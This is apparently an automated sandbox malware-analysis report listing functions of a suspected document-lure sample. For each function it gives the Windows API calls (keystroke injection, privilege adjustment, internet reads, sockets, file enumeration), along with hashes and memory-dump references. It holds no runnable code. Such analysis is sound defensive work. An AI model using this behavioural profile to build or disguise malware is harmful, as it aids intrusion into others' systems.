WSAGetLastError.WS2_32(00000000,00000000), ref: 00769760

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: 21c08bab80342f3fb1dfec3f611038ace9ebfe78176f459c51b36282016c2d08
Instruction ID: ad71e2fce61b5d4b1489ca8db1eaaca770b269e3436ab26239cc7f7327fb6dec
Opcode Fuzzy Hash: 21c08bab80342f3fb1dfec3f611038ace9ebfe78176f459c51b36282016c2d08
Instruction Fuzzy Hash: 4841C770600110EFDB10AF68CC56E6E77EDEF48724F148059F956AB3D2DB78AE418B91

Function 0075F350 Relevance: 7.6, APIs: 5, Instructions: 125fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0075F37A
_wcscmp.LIBCMT ref: 0075F3AA
_wcscmp.LIBCMT ref: 0075F3BF
FindNextFileW.KERNEL32(00000000,?), ref: 0075F3D0
FindClose.KERNEL32(00000000,00000001,00000000), ref: 0075F3FE

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 5f3d53c0e965c52725d1826ea248996161a7f822d54fa72906cae813067d7c78
Instruction ID: 6f4265282b373a36369ea38003ed57de2825ebdd232a4291009f2bd122f28122
Opcode Fuzzy Hash: 5f3d53c0e965c52725d1826ea248996161a7f822d54fa72906cae813067d7c78
Instruction Fuzzy Hash: 3441AC75604301DFC718DF28C494A9AB3E4FF49324F10816DE95A8B3A2DB79AD49CB91

Function 00754342 Relevance: 6.1, APIs: 4, Instructions: 112keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 0075439C
SetKeyboardState.USER32(00000080,?,00000001), ref: 007543B8
PostMessageW.USER32(00000000,00000102,?,00000001), ref: 00754425
SendInput.USER32(00000001,?,0000001C,00000000,?,00000001), ref: 00754483

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: b540ab9bfb4ca6e63ab412fc5709541b5e31acc67ece8aa4a8e46b64a212b417
Instruction ID: 16222ed3aa6889b4a71794216ab66b15f22b113b7abce69578f9680f2e10ecef
Opcode Fuzzy Hash: b540ab9bfb4ca6e63ab412fc5709541b5e31acc67ece8aa4a8e46b64a212b417
Instruction Fuzzy Hash: 904106B0D44288AAEF348B6498087FD7BB5AB4531BF04011AE881932D1C7FC8DDD9765

Function 0077EFA8 Relevance: 6.1, APIs: 4, Instructions: 80nativewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0072AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0072AF8E

GetCursorPos.USER32(?), ref: 0077EFE2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,0078F3C3,?,?,?,?,?), ref: 0077EFF7
GetCursorPos.USER32(?), ref: 0077F041
NtdllDialogWndProc_W.NTDLL(?,0000007B,?,?,?,?,?,?,?,?,?,?,0078F3C3,?,?,?), ref: 0077F077

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Cursor$DialogLongMenuNtdllPopupProc_TrackWindow
String ID:
API String ID: 1423138444-0
Opcode ID: 6cca792c8040ff76f1cf81e1f46d5af40d433dd0314686b6c31ae6745558202e
Instruction ID: 3be78475cc21b4311f17f5be0cf306464183cac0df753ef5aa8ee859f9711e2b
Opcode Fuzzy Hash: 6cca792c8040ff76f1cf81e1f46d5af40d433dd0314686b6c31ae6745558202e
Instruction Fuzzy Hash: 0221B135600118FFCF258F54DC98EEA7BB5EB497A4F448069F909473A2C3399D61EBA0

Function 0071DCD0 Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

G-q, xrefs: 0071DD94, 0071DF2B

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID:
String ID: G-q
API String ID: 0-2377931026
Opcode ID: f4507e89bcb7e970c3a8e380cea039d6998c7f17593afdd8bb45603d7a52d699
Instruction ID: fde02c1b9dd65988f0015eb3dfb08a3a82ca7150cd6f525e787e7465d4973d49
Opcode Fuzzy Hash: f4507e89bcb7e970c3a8e380cea039d6998c7f17593afdd8bb45603d7a52d699
Instruction Fuzzy Hash: A122AE71A00209DFDB24DF58C494AEAB7F1FF18300F148069E8569B391E779ADC5CB91

Function 0075220C Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 560stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 0075221E

Strings

(, xrefs: 00752264
|, xrefs: 0075224E

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 5702ddd1118af60b8a0a8f7cace0d73a599e264b163af6bf735b639d279bf3bf
Instruction ID: 3074ba50dca71dd55e61708317c742f202270160fec62fb22308d447d2e229f2
Opcode Fuzzy Hash: 5702ddd1118af60b8a0a8f7cace0d73a599e264b163af6bf735b639d279bf3bf
Instruction Fuzzy Hash: 07322875A00605DFC728CF59C480AAAB7F0FF49310B15C46EE99ADB7A2D7B4E942CB44

Function 0072AD5C Relevance: 4.9, APIs: 3, Instructions: 378nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0072AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0072AF8E

NtdllDialogWndProc_W.NTDLL(?,?,?,?,?), ref: 0072AE5E

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: ccbe442d9f208df43a495215f7169e138770eaa529315b8f5fb002ec6c7a872c
Instruction ID: eefc6a94060b8081edb25db3685a79e151ba75c3227d0b382c35a47ba2a2c01c
Opcode Fuzzy Hash: ccbe442d9f208df43a495215f7169e138770eaa529315b8f5fb002ec6c7a872c
Instruction Fuzzy Hash: 07A14C60504224FBDF28BB296D8ED7F3A6CEB46790B11812EF406D61A5CA1DCC02E373

Function 0076550C Relevance: 4.7, APIs: 3, Instructions: 155networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00764A1E,00000000), ref: 007655FD
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00765629

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 828652d39b348fceb3bfd7de5184e71e63d762d404dfe2fdfb30960f69440e60
Instruction ID: 5c7bc1000bc3e6b2d5d21e5914590b39f0473e561dffb4c52f8e16544004b4d7
Opcode Fuzzy Hash: 828652d39b348fceb3bfd7de5184e71e63d762d404dfe2fdfb30960f69440e60
Instruction Fuzzy Hash: 6241E971500609FFEB219E95CC89EBF77BDEB40718F10401EFA0766141DA799E41EB64

Function 0075EA85 Relevance: 4.6, APIs: 3, Instructions: 72COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0075EA95
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 0075EAEF
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 0075EB3C

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 15d16b34c1747bb62639181e891daa0e77dddeab48546bf81b7dd7ee45261e52
Instruction ID: 19289c14f89bcb3f4ed745addd95b1973690913edbfeb424a8cf088273d02b7b
Opcode Fuzzy Hash: 15d16b34c1747bb62639181e891daa0e77dddeab48546bf81b7dd7ee45261e52
Instruction Fuzzy Hash: 59216075A00218EFCB00EFA5D894EEDBBB5FF48310F14809AE905AB351DB35D956CB50

Function 0075702F Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0075704C
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 0075708D
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00757098

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 1442534ce4ba788a2e97be5a5775ed3ae27f96c3737745446a9f11b6fa252e1c
Instruction ID: ea6199e39d87d79d5fd71bc576c6af4e555ef1bc4d711feb0aa15028fd7e0ca4
Opcode Fuzzy Hash: 1442534ce4ba788a2e97be5a5775ed3ae27f96c3737745446a9f11b6fa252e1c
Instruction Fuzzy Hash: 67113071A01228BFDB108B94DC45AEEBBFCEB45B10F108152F904E7290D6B45E058BA5

Function 0072AFB4 Relevance: 3.1, APIs: 2, Instructions: 82nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0072AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0072AF8E

Part of subcall function 0072B155: GetWindowLongW.USER32(?,000000EB), ref: 0072B166

GetParent.USER32(?), ref: 0078F4B5
NtdllDialogWndProc_W.NTDLL(?,00000133,?,?,?,?,?,?,?,?,0072ADDD,?,?,?,00000006,?), ref: 0078F52F

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: LongWindow$DialogNtdllParentProc_
String ID:
API String ID: 314495775-0
Opcode ID: c19f8ea27ea79a027300b028a6f9941f682b68a7eb2c34fb2e909ca92a6e4ed2
Instruction ID: d9893bc2cb38620b00dee01194df0ffea5feba0391d65bfe5975903d6f67b939
Opcode Fuzzy Hash: c19f8ea27ea79a027300b028a6f9941f682b68a7eb2c34fb2e909ca92a6e4ed2
Instruction Fuzzy Hash: 39219631200154BFCF35DF68ED48AAA3BA2EF49370F588265F5294B2E2D7389D51E710

Function 0075FD47 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0075FD71
FindClose.KERNEL32(00000000), ref: 0075FDA1

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: d7d04d7cde89de8896864d33ed1b1b402afe37be2413bba130b7d99792ed5162
Instruction ID: 9d0e5a16768b902a9973fa334936e99a4821c78260cd42a96f2ea928f39101f6
Opcode Fuzzy Hash: d7d04d7cde89de8896864d33ed1b1b402afe37be2413bba130b7d99792ed5162
Instruction Fuzzy Hash: 7211C432610204DFD710EF29D849A6AB7E8FF88324F00851EF9A5DB391DB78ED058B85

Function 0077F0A1 Relevance: 3.0, APIs: 2, Instructions: 46nativewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0072AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0072AF8E

NtdllDialogWndProc_W.NTDLL(?,0000002B,?,?,?,?,?,?,?,0078F352,?,?,?), ref: 0077F115

Part of subcall function 0072B155: GetWindowLongW.USER32(?,000000EB), ref: 0072B166

SendMessageW.USER32(?,00000401,00000000,00000000), ref: 0077F0FB

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: LongWindow$DialogMessageNtdllProc_Send
String ID:
API String ID: 1273190321-0
Opcode ID: 89114badf81f7a6f8b74a21a34489e417926d259b11a1b37871309ced9d0eb07
Instruction ID: 4c334285ca865209700a2991d9db8cbe49591f0ef68253477b0d35c07b4bb874
Opcode Fuzzy Hash: 89114badf81f7a6f8b74a21a34489e417926d259b11a1b37871309ced9d0eb07
Instruction Fuzzy Hash: 2101B131200618EBCF21DF58ED89F6A3BB6FB853A4F548525F8190B2E1C7399C12EB50

Function 0077F45A Relevance: 3.0, APIs: 2, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0077F47D
NtdllDialogWndProc_W.NTDLL(?,00000200,?,?,?,?,?,?,?,0078F42E,?,?,?,?,?), ref: 0077F4A6

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ClientDialogNtdllProc_Screen
String ID:
API String ID: 3420055661-0
Opcode ID: 6b28530ec149c054632583c62038ec1187ba36901c4d05b7dcd3731fbca5529a
Instruction ID: 98e526bb567c595b841c98cf983811bf59b8350d5f57d28187ffe1bf9e9fd3f8
Opcode Fuzzy Hash: 6b28530ec149c054632583c62038ec1187ba36901c4d05b7dcd3731fbca5529a
Instruction Fuzzy Hash: C2F03A72400118FFEF049F95DC099AE7FB9FF44351F10802AF902A2160D3B9AE51EB64

Function 0075D712 Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,0076C2E2,?,?,00000000,?), ref: 0075D73F
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,0076C2E2,?,?,00000000,?), ref: 0075D751

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 1677f85a98d82ab6499f07874fa59222b3826385205bc9f4e7da53637f1555c9
Instruction ID: 7d7ecdd8c094bf84c6b78dc0a77c50046f21eaf450c19ebd2f59fc52d9ef688c
Opcode Fuzzy Hash: 1677f85a98d82ab6499f07874fa59222b3826385205bc9f4e7da53637f1555c9
Instruction Fuzzy Hash: C5F05835500229AADB21AFA4CC4DFEA776CAF49362F008516BA09E6181D6789A44CBA5

Function 00754B52 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00754B89
keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 00754B9C

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 53cc844f8842668ceaafd869dab324b292e63aad1fb6d9c114371c34f93d2ef0
Instruction ID: ca572e9782ef64692d93ca9ea481903491d931639a5fd6c2d88d272c6775da8b
Opcode Fuzzy Hash: 53cc844f8842668ceaafd869dab324b292e63aad1fb6d9c114371c34f93d2ef0
Instruction Fuzzy Hash: 37F06D7080024DAFDB058FA1C805BBE7BB4AF00309F00C40AFD61A5191D7B9CA16DFA4

Function 0074B8B0 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,0074B9EC), ref: 0074B8C5
CloseHandle.KERNEL32(?,?,0074B9EC), ref: 0074B8D7

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
